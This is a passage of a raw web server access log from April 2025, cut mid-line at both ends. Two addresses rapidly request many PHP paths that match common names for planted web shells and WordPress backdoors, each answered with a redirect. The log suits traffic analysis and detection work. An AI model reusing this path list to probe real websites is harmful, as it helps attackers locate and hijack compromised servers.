-0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:00 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:00 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:01 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:02 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:02 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:02 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:02 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:03 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:03 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:04 -0400] "GET /user/default.php HTTP/1.1" 301 795 